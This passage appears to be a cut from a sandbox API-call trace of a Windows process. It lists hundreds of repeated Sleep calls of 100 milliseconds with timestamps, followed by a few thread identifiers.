(dwMilliseconds=0x64) [0317.440] Sleep (dwMilliseconds=0x64) [0317.456] Sleep (dwMilliseconds=0x64) [0317.472] Sleep (dwMilliseconds=0x64) [0317.487] Sleep (dwMilliseconds=0x64) [0317.517] Sleep (dwMilliseconds=0x64) [0317.519] Sleep (dwMilliseconds=0x64) [0317.534] Sleep (dwMilliseconds=0x64) [0317.549] Sleep (dwMilliseconds=0x64) [0317.565] Sleep (dwMilliseconds=0x64) [0317.581] Sleep (dwMilliseconds=0x64) [0317.596] Sleep (dwMilliseconds=0x64) [0317.614] Sleep (dwMilliseconds=0x64) [0317.628] Sleep (dwMilliseconds=0x64) [0317.643] Sleep (dwMilliseconds=0x64) [0317.659] Sleep (dwMilliseconds=0x64) [0317.686] Sleep (dwMilliseconds=0x64) [0317.690] Sleep (dwMilliseconds=0x64) [0317.706] Sleep (dwMilliseconds=0x64) [0317.721] Sleep (dwMilliseconds=0x64) [0317.737] Sleep (dwMilliseconds=0x64) [0317.752] Sleep (dwMilliseconds=0x64) [0317.769] Sleep (dwMilliseconds=0x64) [0317.784] Sleep (dwMilliseconds=0x64) [0317.799] Sleep (dwMilliseconds=0x64) [0317.815] Sleep (dwMilliseconds=0x64) [0317.832] Sleep (dwMilliseconds=0x64) [0317.846] Sleep (dwMilliseconds=0x64) [0317.862] Sleep (dwMilliseconds=0x64) [0317.880] Sleep (dwMilliseconds=0x64) [0317.893] Sleep (dwMilliseconds=0x64) [0317.911] Sleep (dwMilliseconds=0x64) [0317.924] Sleep (dwMilliseconds=0x64) [0317.940] Sleep (dwMilliseconds=0x64) [0317.956] Sleep (dwMilliseconds=0x64) [0317.971] Sleep (dwMilliseconds=0x64) [0317.987] Sleep (dwMilliseconds=0x64) [0318.002] Sleep (dwMilliseconds=0x64) [0318.018] Sleep (dwMilliseconds=0x64) [0318.033] Sleep (dwMilliseconds=0x64) [0318.049] Sleep (dwMilliseconds=0x64) [0318.065] Sleep (dwMilliseconds=0x64) [0318.083] Sleep (dwMilliseconds=0x64) [0318.096] Sleep (dwMilliseconds=0x64) [0318.111] Sleep (dwMilliseconds=0x64) [0318.127] Sleep (dwMilliseconds=0x64) [0318.143] Sleep (dwMilliseconds=0x64) [0318.158] Sleep (dwMilliseconds=0x64) [0318.174] Sleep (dwMilliseconds=0x64) [0318.189] Sleep (dwMilliseconds=0x64) [0318.206] Sleep (dwMilliseconds=0x64) [0318.221] Sleep (dwMilliseconds=0x64) [0318.238] Sleep (dwMilliseconds=0x64) [0318.252] Sleep (dwMilliseconds=0x64) [0318.267] Sleep (dwMilliseconds=0x64) [0318.283] Sleep (dwMilliseconds=0x64) [0318.298] Sleep (dwMilliseconds=0x64) [0318.314] Sleep (dwMilliseconds=0x64) [0318.330] Sleep (dwMilliseconds=0x64) [0318.358] Sleep (dwMilliseconds=0x64) [0318.364] Sleep (dwMilliseconds=0x64) [0318.376] Sleep (dwMilliseconds=0x64) [0318.392] Sleep (dwMilliseconds=0x64) [0318.408] Sleep (dwMilliseconds=0x64) [0318.423] Sleep (dwMilliseconds=0x64) [0318.439] Sleep (dwMilliseconds=0x64) [0318.455] Sleep (dwMilliseconds=0x64) [0318.470] Sleep (dwMilliseconds=0x64) [0318.486] Sleep (dwMilliseconds=0x64) [0318.519] Sleep (dwMilliseconds=0x64) [0318.532] Sleep (dwMilliseconds=0x64) [0318.548] Sleep (dwMilliseconds=0x64) [0318.564] Sleep (dwMilliseconds=0x64) [0318.579] Sleep (dwMilliseconds=0x64) [0318.596] Sleep (dwMilliseconds=0x64) [0318.610] Sleep (dwMilliseconds=0x64) [0318.626] Sleep (dwMilliseconds=0x64) [0318.642] Sleep (dwMilliseconds=0x64) [0318.657] Sleep (dwMilliseconds=0x64) [0318.673] Sleep (dwMilliseconds=0x64) [0318.689] Sleep (dwMilliseconds=0x64) [0318.704] Sleep (dwMilliseconds=0x64) [0318.720] Sleep (dwMilliseconds=0x64) [0318.735] Sleep (dwMilliseconds=0x64) [0318.752] Sleep (dwMilliseconds=0x64) [0318.767] Sleep (dwMilliseconds=0x64) [0318.782] Sleep (dwMilliseconds=0x64) [0318.798] Sleep (dwMilliseconds=0x64) [0318.813] Sleep (dwMilliseconds=0x64) [0318.829] Sleep (dwMilliseconds=0x64) [0318.844] Sleep (dwMilliseconds=0x64) [0318.863] Sleep (dwMilliseconds=0x64) [0318.876] Sleep (dwMilliseconds=0x64) [0318.894] Sleep (dwMilliseconds=0x64) [0318.907] Sleep (dwMilliseconds=0x64) [0318.925] Sleep (dwMilliseconds=0x64) [0318.938] Sleep (dwMilliseconds=0x64) [0318.955] Sleep (dwMilliseconds=0x64) [0318.969] Sleep (dwMilliseconds=0x64) [0318.985] Sleep (dwMilliseconds=0x64) [0319.000] Sleep (dwMilliseconds=0x64) [0319.016] Sleep (dwMilliseconds=0x64) [0319.032] Sleep (dwMilliseconds=0x64) [0319.047] Sleep (dwMilliseconds=0x64) [0319.066] Sleep (dwMilliseconds=0x64) [0319.083] Sleep (dwMilliseconds=0x64) [0319.094] Sleep (dwMilliseconds=0x64) [0319.110] Sleep (dwMilliseconds=0x64) [0319.126] Sleep (dwMilliseconds=0x64) [0319.142] Sleep (dwMilliseconds=0x64) [0319.156] Sleep (dwMilliseconds=0x64) [0319.172] Sleep (dwMilliseconds=0x64) [0319.188] Sleep (dwMilliseconds=0x64) [0319.203] Sleep (dwMilliseconds=0x64) [0319.220] Sleep (dwMilliseconds=0x64) [0319.235] Sleep (dwMilliseconds=0x64) [0319.250] Sleep (dwMilliseconds=0x64) [0319.266] Sleep (dwMilliseconds=0x64) [0319.281] Sleep (dwMilliseconds=0x64) [0319.297] Sleep (dwMilliseconds=0x64) [0319.312] Sleep (dwMilliseconds=0x64) [0319.328] Sleep (dwMilliseconds=0x64) [0319.358] Sleep (dwMilliseconds=0x64) [0319.359] Sleep (dwMilliseconds=0x64) [0319.375] Sleep (dwMilliseconds=0x64) [0319.391] Sleep (dwMilliseconds=0x64) [0319.406] Sleep (dwMilliseconds=0x64) [0319.422] Sleep (dwMilliseconds=0x64) [0319.437] Sleep (dwMilliseconds=0x64) [0319.453] Sleep (dwMilliseconds=0x64) [0319.469] Sleep (dwMilliseconds=0x64) [0319.484] Sleep (dwMilliseconds=0x64) [0319.500] Sleep (dwMilliseconds=0x64) [0319.529] Sleep (dwMilliseconds=0x64) [0319.531] Sleep (dwMilliseconds=0x64) [0319.546] Sleep (dwMilliseconds=0x64) [0319.562] Sleep (dwMilliseconds=0x64) [0319.578] Sleep (dwMilliseconds=0x64) [0319.593] Sleep (dwMilliseconds=0x64) [0319.609] Sleep (dwMilliseconds=0x64) [0319.625] Sleep (dwMilliseconds=0x64) [0319.640] Sleep (dwMilliseconds=0x64) [0319.656] Sleep (dwMilliseconds=0x64) [0319.671] Sleep (dwMilliseconds=0x64) [0319.687] Sleep (dwMilliseconds=0x64) [0319.703] Sleep (dwMilliseconds=0x64) [0319.718] Sleep (dwMilliseconds=0x64) [0319.734] Sleep (dwMilliseconds=0x64) [0319.749] Sleep (dwMilliseconds=0x64) [0319.765] Sleep (dwMilliseconds=0x64) [0319.780] Sleep (dwMilliseconds=0x64) [0319.796] Sleep (dwMilliseconds=0x64) [0319.812] Sleep (dwMilliseconds=0x64) [0319.827] Sleep (dwMilliseconds=0x64) [0319.843] Sleep (dwMilliseconds=0x64) [0319.861] Sleep (dwMilliseconds=0x64) [0319.874] Sleep (dwMilliseconds=0x64) [0319.891] Sleep (dwMilliseconds=0x64) [0319.906] Sleep (dwMilliseconds=0x64) [0319.921] Sleep (dwMilliseconds=0x64) [0319.937] Sleep (dwMilliseconds=0x64) [0319.954] Sleep (dwMilliseconds=0x64) [0319.968] Sleep (dwMilliseconds=0x64) [0319.983] Sleep (dwMilliseconds=0x64) [0319.999] Sleep (dwMilliseconds=0x64) [0320.015] Sleep (dwMilliseconds=0x64) [0320.030] Sleep (dwMilliseconds=0x64) [0320.046] Sleep (dwMilliseconds=0x64) [0320.061] Sleep (dwMilliseconds=0x64) [0320.077] Sleep (dwMilliseconds=0x64) [0320.093] Sleep (dwMilliseconds=0x64) [0320.108] Sleep (dwMilliseconds=0x64) [0320.124] Sleep (dwMilliseconds=0x64) [0320.139] Sleep (dwMilliseconds=0x64) [0320.155] Sleep (dwMilliseconds=0x64) [0320.170] Sleep (dwMilliseconds=0x64) [0320.186] Sleep (dwMilliseconds=0x64) [0320.202] Sleep (dwMilliseconds=0x64) [0320.217] Sleep (dwMilliseconds=0x64) [0320.233] Sleep (dwMilliseconds=0x64) [0320.248] Sleep (dwMilliseconds=0x64) [0320.264] Sleep (dwMilliseconds=0x64) [0320.280] Sleep (dwMilliseconds=0x64) [0320.295] Sleep (dwMilliseconds=0x64) [0320.311] Sleep (dwMilliseconds=0x64) [0320.327] Sleep (dwMilliseconds=0x64) [0320.342] Sleep (dwMilliseconds=0x64) [0320.368] Sleep (dwMilliseconds=0x64) [0320.375] Sleep (dwMilliseconds=0x64) [0320.389] Sleep (dwMilliseconds=0x64) [0320.404] Sleep (dwMilliseconds=0x64) [0320.420] Sleep (dwMilliseconds=0x64) [0320.436] Sleep (dwMilliseconds=0x64) [0320.452] Sleep (dwMilliseconds=0x64) [0320.467] Sleep (dwMilliseconds=0x64) [0320.483] Sleep (dwMilliseconds=0x64) [0320.498] Sleep (dwMilliseconds=0x64) [0320.518] Sleep (dwMilliseconds=0x64) [0320.531] Sleep (dwMilliseconds=0x64) [0320.545] Sleep (dwMilliseconds=0x64) [0320.561] Sleep (dwMilliseconds=0x64) [0320.576] Sleep (dwMilliseconds=0x64) [0320.592] Sleep (dwMilliseconds=0x64) [0320.608] Sleep (dwMilliseconds=0x64) [0320.623] Sleep (dwMilliseconds=0x64) [0320.639] Sleep (dwMilliseconds=0x64) [0320.654] Sleep (dwMilliseconds=0x64) [0320.670] Sleep (dwMilliseconds=0x64) [0320.685] Sleep (dwMilliseconds=0x64) [0320.701] Sleep (dwMilliseconds=0x64) [0320.716] Sleep (dwMilliseconds=0x64) [0320.732] Sleep (dwMilliseconds=0x64) [0320.748] Sleep (dwMilliseconds=0x64) [0320.764] Sleep (dwMilliseconds=0x64) [0320.779] Sleep (dwMilliseconds=0x64) [0320.794] Sleep (dwMilliseconds=0x64) [0320.810] Sleep (dwMilliseconds=0x64) [0320.826] Sleep (dwMilliseconds=0x64) [0320.841] Sleep (dwMilliseconds=0x64) [0320.857] Sleep (dwMilliseconds=0x64) [0320.874] Sleep (dwMilliseconds=0x64) [0320.888] Sleep (dwMilliseconds=0x64) [0320.904] Sleep (dwMilliseconds=0x64) [0320.919] Sleep (dwMilliseconds=0x64) [0320.936] Sleep (dwMilliseconds=0x64) [0320.951] Sleep (dwMilliseconds=0x64) [0320.968] Sleep (dwMilliseconds=0x64) [0320.982] Sleep (dwMilliseconds=0x64) [0320.998] Sleep (dwMilliseconds=0x64) [0321.014] Sleep (dwMilliseconds=0x64) [0321.028] Sleep (dwMilliseconds=0x64) [0321.044] Sleep (dwMilliseconds=0x64) [0321.060] Sleep (dwMilliseconds=0x64) [0321.077] Sleep (dwMilliseconds=0x64) [0321.091] Sleep (dwMilliseconds=0x64) [0321.107] Sleep (dwMilliseconds=0x64) [0321.122] Sleep (dwMilliseconds=0x64) [0321.138] Sleep (dwMilliseconds=0x64) [0321.153] Sleep (dwMilliseconds=0x64) [0321.169] Sleep (dwMilliseconds=0x64) [0321.184] Sleep (dwMilliseconds=0x64) [0321.202] Sleep (dwMilliseconds=0x64) [0321.216] Sleep (dwMilliseconds=0x64) [0321.232] Sleep (dwMilliseconds=0x64) [0321.247] Sleep (dwMilliseconds=0x64) [0321.263] Sleep (dwMilliseconds=0x64) [0321.278] Sleep (dwMilliseconds=0x64) [0321.294] Sleep (dwMilliseconds=0x64) [0321.309] Sleep (dwMilliseconds=0x64) [0321.325] Sleep (dwMilliseconds=0x64) [0321.341] Sleep (dwMilliseconds=0x64) [0321.369] Sleep (dwMilliseconds=0x64) [0321.372] Sleep (dwMilliseconds=0x64) [0321.387] Sleep (dwMilliseconds=0x64) [0321.403] Sleep (dwMilliseconds=0x64) [0321.419] Sleep (dwMilliseconds=0x64) [0321.434] Sleep (dwMilliseconds=0x64) [0321.450] Sleep (dwMilliseconds=0x64) [0321.466] Sleep (dwMilliseconds=0x64) [0321.481] Sleep (dwMilliseconds=0x64) [0321.496] Sleep (dwMilliseconds=0x64) [0321.512] Sleep (dwMilliseconds=0x64) [0321.542] Sleep (dwMilliseconds=0x64) [0321.544] Sleep (dwMilliseconds=0x64) [0321.559] Sleep (dwMilliseconds=0x64) [0321.575] Sleep (dwMilliseconds=0x64) [0321.590] Sleep (dwMilliseconds=0x64) [0321.606] Sleep (dwMilliseconds=0x64) [0321.621] Sleep (dwMilliseconds=0x64) [0321.637] Sleep (dwMilliseconds=0x64) [0321.653] Sleep (dwMilliseconds=0x64) [0321.668] Sleep (dwMilliseconds=0x64) [0321.684] Sleep (dwMilliseconds=0x64) [0321.699] Sleep (dwMilliseconds=0x64) [0321.715] Sleep (dwMilliseconds=0x64) [0321.730] Sleep (dwMilliseconds=0x64) [0321.746] Sleep (dwMilliseconds=0x64) [0321.762] Sleep (dwMilliseconds=0x64) [0321.777] Sleep (dwMilliseconds=0x64) [0321.793] Sleep (dwMilliseconds=0x64) [0321.808] Sleep (dwMilliseconds=0x64) [0321.824] Sleep (dwMilliseconds=0x64) [0321.840] Sleep (dwMilliseconds=0x64) [0321.855] Sleep (dwMilliseconds=0x64) [0321.874] Sleep (dwMilliseconds=0x64) [0321.887] Sleep (dwMilliseconds=0x64) [0321.903] Sleep (dwMilliseconds=0x64) [0321.918] Sleep (dwMilliseconds=0x64) [0321.933] Sleep (dwMilliseconds=0x64) [0321.958] Sleep (dwMilliseconds=0x64) [0321.965] Sleep (dwMilliseconds=0x64) [0321.980] Sleep (dwMilliseconds=0x64) [0321.996] Sleep (dwMilliseconds=0x64) [0322.011] Sleep (dwMilliseconds=0x64) [0322.027] Sleep (dwMilliseconds=0x64) [0322.042] Sleep (dwMilliseconds=0x64) [0322.058] Sleep (dwMilliseconds=0x64) [0322.074] Sleep (dwMilliseconds=0x64) [0322.090] Sleep (dwMilliseconds=0x64) [0322.105] Sleep (dwMilliseconds=0x64) [0322.120] Sleep (dwMilliseconds=0x64) [0322.136] Sleep (dwMilliseconds=0x64) [0322.152] Sleep (dwMilliseconds=0x64) [0322.167] Sleep (dwMilliseconds=0x64) [0322.183] Sleep (dwMilliseconds=0x64) [0322.199] Sleep (dwMilliseconds=0x64) [0322.214] Sleep (dwMilliseconds=0x64) [0322.230] Sleep (dwMilliseconds=0x64) [0322.245] Sleep (dwMilliseconds=0x64) [0322.261] Sleep (dwMilliseconds=0x64) [0322.276] Sleep (dwMilliseconds=0x64) [0322.292] Sleep (dwMilliseconds=0x64) [0322.308] Sleep (dwMilliseconds=0x64) [0322.323] Sleep (dwMilliseconds=0x64) [0322.343] Sleep (dwMilliseconds=0x64) [0322.364] Sleep (dwMilliseconds=0x64) [0322.370] Sleep (dwMilliseconds=0x64) [0322.386] Sleep (dwMilliseconds=0x64) [0322.401] Sleep (dwMilliseconds=0x64) [0322.417] Sleep (dwMilliseconds=0x64) [0322.432] Sleep (dwMilliseconds=0x64) [0322.448] Sleep (dwMilliseconds=0x64) [0322.464] Sleep (dwMilliseconds=0x64) [0322.479] Sleep (dwMilliseconds=0x64) [0322.495] Sleep (dwMilliseconds=0x64) [0322.511] Sleep (dwMilliseconds=0x64) [0322.530] Sleep (dwMilliseconds=0x64) [0322.543] Sleep (dwMilliseconds=0x64) [0322.557] Sleep (dwMilliseconds=0x64) [0322.573] Sleep (dwMilliseconds=0x64) [0322.588] Sleep (dwMilliseconds=0x64) [0322.604] Sleep (dwMilliseconds=0x64) [0322.620] Sleep (dwMilliseconds=0x64) [0322.636] Sleep (dwMilliseconds=0x64) [0322.651] Sleep (dwMilliseconds=0x64) [0322.666] Sleep (dwMilliseconds=0x64) [0322.682] Sleep (dwMilliseconds=0x64) [0322.698] Sleep (dwMilliseconds=0x64) [0322.713] Sleep (dwMilliseconds=0x64) [0322.729] Sleep (dwMilliseconds=0x64) [0322.745] Sleep (dwMilliseconds=0x64) [0322.760] Sleep (dwMilliseconds=0x64) [0322.776] Sleep (dwMilliseconds=0x64) [0322.791] Sleep (dwMilliseconds=0x64) [0322.807] Sleep (dwMilliseconds=0x64) [0322.823] Sleep (dwMilliseconds=0x64) [0322.838] Sleep (dwMilliseconds=0x64) [0322.856] Sleep (dwMilliseconds=0x64) [0322.869] Sleep (dwMilliseconds=0x64) [0322.885] Sleep (dwMilliseconds=0x64) [0322.900] Sleep (dwMilliseconds=0x64) [0322.916] Sleep (dwMilliseconds=0x64) [0322.932] Sleep (dwMilliseconds=0x64) [0322.948] Sleep (dwMilliseconds=0x64) [0322.963] Sleep (dwMilliseconds=0x64) [0322.979] Sleep (dwMilliseconds=0x64) [0322.994] Sleep (dwMilliseconds=0x64) [0323.011] Sleep (dwMilliseconds=0x64) [0323.025] Sleep (dwMilliseconds=0x64) [0323.041] Sleep (dwMilliseconds=0x64) [0323.056] Sleep (dwMilliseconds=0x64) [0323.072] Sleep (dwMilliseconds=0x64) [0323.088] Sleep (dwMilliseconds=0x64) [0323.103] Sleep (dwMilliseconds=0x64) [0323.120] Sleep (dwMilliseconds=0x64) [0323.135] Sleep (dwMilliseconds=0x64) [0323.150] Sleep (dwMilliseconds=0x64) [0323.166] Sleep (dwMilliseconds=0x64) [0323.181] Sleep (dwMilliseconds=0x64) [0323.197] Sleep (dwMilliseconds=0x64) [0323.213] Sleep (dwMilliseconds=0x64) [0323.228] Sleep (dwMilliseconds=0x64) [0323.247] Sleep (dwMilliseconds=0x64) [0323.259] Sleep (dwMilliseconds=0x64) [0323.278] Sleep (dwMilliseconds=0x64) [0323.291] Sleep (dwMilliseconds=0x64) [0323.306] Sleep (dwMilliseconds=0x64) [0323.322] Sleep (dwMilliseconds=0x64) [0323.337] Sleep (dwMilliseconds=0x64) [0323.362] Sleep (dwMilliseconds=0x64) [0323.368] Sleep (dwMilliseconds=0x64) [0323.384] Sleep (dwMilliseconds=0x64) [0323.400] Sleep (dwMilliseconds=0x64) [0323.415] Sleep (dwMilliseconds=0x64) [0323.431] Sleep (dwMilliseconds=0x64) [0323.447] Sleep (dwMilliseconds=0x64) [0323.462] Sleep (dwMilliseconds=0x64) [0323.478] Sleep (dwMilliseconds=0x64) [0323.493] Sleep (dwMilliseconds=0x64) [0323.509] Sleep (dwMilliseconds=0x64) [0323.524] Sleep (dwMilliseconds=0x64) [0323.554] Sleep (dwMilliseconds=0x64) [0323.556] Sleep (dwMilliseconds=0x64) [0323.571] Sleep (dwMilliseconds=0x64) [0323.587] Sleep (dwMilliseconds=0x64) [0323.602] Sleep (dwMilliseconds=0x64) [0323.618] Sleep (dwMilliseconds=0x64) [0323.634] Sleep (dwMilliseconds=0x64) [0323.649] Sleep (dwMilliseconds=0x64) [0323.666] Sleep (dwMilliseconds=0x64) Thread: id = 238 os_tid = 0x580 Thread: id = 239 os_tid = 0x6c8 Thread: id = 240 os_tid = 0x6d8 Thread: id = 241 os_tid = 0x728